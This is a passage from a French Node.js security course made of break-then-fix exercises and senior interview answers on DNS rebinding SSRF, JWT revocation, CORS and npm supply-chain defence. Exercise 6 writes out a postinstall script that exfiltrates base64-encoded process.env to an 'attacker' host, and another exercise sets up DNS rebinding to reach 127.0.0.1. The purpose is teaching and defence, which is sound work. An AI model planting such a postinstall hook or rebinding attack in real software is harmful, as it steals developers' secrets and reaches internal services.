Objectif : monter un serveur DNS malicieux (ou stub) qui fait du rebinding, prouver que le safeFetch "naïf" (validation puis fetch) tape 127.0.0.1, puis le réparer avec le pinning d'IP undici.

Indice/Solution : stub dns.lookup qui renvoie une IP publique au 1er appel et 127.0.0.1 au 2e. Démontre l'accès à un service interne (un mini serveur sur 127.0.0.1:9999). Fix : résoudre une fois, valider, puis fetch(url, { dispatcher: pinnedAgent(ip) }). Vérifie aussi redirect: 'error' et bloque les ports non-{80,443}. Bonus : ajoute IPv6-mapped IPv4 (::ffff:127.0.0.1) à la liste de blocage — un classique oublié.

Exercice 5 — Révocation de JWT instantanée

Objectif : ajouter une révocation par jti (Redis blocklist) ET un token_version par user, comparer les deux approches en latence et en garanties.

Indice/Solution : au logout, SET revoked:<jti> 1 EX <ttl_restant>. Le middleware d'auth vérifie l'absence du jti dans la blocklist. Pour "déconnecter partout", incrémente user:tokenVersion et embarque tv dans le JWT ; rejette si payload.tv !== currentVersion. Mesure : la blocklist coûte 1 lookup Redis O(1), le token_version coûte 1 lecture mais couvre tous les tokens d'un coup. Discute : que se passe-t-il si Redis tombe ? (fail-open = brèche, fail-closed = panne d'auth — choix de threat model).

Exercice 6 — Supply chain : détecter un postinstall malveillant (break-then-fix)

Objectif : créer un package local avec un postinstall qui exfiltre process.env vers un endpoint, prouver qu'un npm install normal l'exécute, puis verrouiller la CI pour que ça ne passe jamais.

Indice/Solution : "scripts": { "postinstall": "node -e \"fetch('http://attacker/'+Buffer.from(JSON.stringify(process.env)).toString('base64'))\"" }. Montre l'appel réseau (intercepte avec un serveur local). Fix : npm config set ignore-scripts true (ou --ignore-scripts en CI) + allowlist explicite des packages dont les builds sont légitimes (pnpm approve-builds). Ajoute socket.dev en GitHub App et npm audit signatures (sigstore) qui aurait flaggé une release non signée. Insight senior : --ignore-scripts global casse certains packages natifs (esbuild, sharp) — d'où l'allowlist plutôt que le blocage total.

🎤 En entretien

Q : Un access token JWT a une durée de vie de 15 min. Un utilisateur se fait voler son token. Quel est le risque réel, et comment le réduire sans casser le stateless ? R senior : le voleur a une fenêtre de 15 min max — c'est précisément le rôle du TTL court. Pour réduire encore : binder le token au contexte (claim cnf / DPoP qui lie le token à une clé client, ou au moins logguer/alerter sur un changement brutal d'IP+User-Agent), et garder la révocation sur le refresh token (stateful, court-circuite la fenêtre au prochain refresh). Le stateless n'est pas sacré : on l'abandonne sur le chemin de révocation, pas sur le chemin de vérification.

Q : Pourquoi cors({ origin: '*', credentials: true }) est-il à la fois invalide et dangereux ? R senior : la spec CORS interdit littéralement de combiner Access-Control-Allow-Origin: * avec Access-Control-Allow-Credentials: true — un navigateur conforme refuse d'envoyer les credentials. Le danger naît quand on contourne ça avec un origin: (o, cb) => cb(null, true) qui reflète l'origine : on accepte alors https://evil.com avec cookies, soit du CSRF/vol de données cross-origin trivial. La bonne réponse est une allowlist explicite ; pour du service-to-service, pas de CORS du tout mais du mTLS.

Q : npm audit est vert. Es-tu en sécurité côté supply chain ? Justifie. R senior : non. npm audit ne couvre que les CVE publiées dans la base — il est aveugle aux malwares fraîchement publiés (typosquat, maintainer compromis, install script exfiltrant) qui n'ont pas encore de CVE, et au délai entre compromission et publication. Il faut compléter par de l'analyse comportementale (socket.dev sur chaque PR), la vérification de signatures (npm audit signatures / sigstore), --ignore-scripts + allowlist de builds, le pinning du lockfile, et la réduction de la surface (depcheck). La défense supply chain est probabiliste, pas binaire.

Q : Comment garantis-tu qu'une SELECT sur une URL fournie par l'utilisateur (image proxy) ne touche jamais ton réseau interne ? R senior : trois couches. Applicatif : valider protocole+port, résoudre le DNS une fois, bloquer les ranges privés/loopback/link-local (y compris IPv6-mapped), puis pinner l'IP dans le dispatcher du fetch pour tuer le DNS rebinding, et redirect: 'error'. Réseau : un egress proxy / NetworkPolicy K8s qui refuse par défaut toute destination interne (defense in depth — si le code rate un cas, le réseau rattrape). Observabilité : alerter sur toute tentative de fetch vers une IP privée (signal d'attaque ou de bug). Le code applicatif seul est fragile face au TOCTOU ; le contrôle réseau est le vrai filet.

🔗 Liens

🗓️ Récap final

La sécurité Node 2026 est un système plus qu'une lib : helmet + CORS strict + rate limiting + Zod validation + argon2 + JWT bien configuré + secrets externalisés + audits supply chain + sandboxing pour code non fiable. Chaque maillon protège contre une classe d'attaque ; aucun ne protège seul. La discipline qui compte le plus : valider tout ce qui entre, ne jamais faire confiance à un input, et auditer ce qu'on dépend. L'attaquant n'a besoin que d'une porte ouverte ; toi, tu dois toutes les fermer.

Bibliothèque tech perso — Achref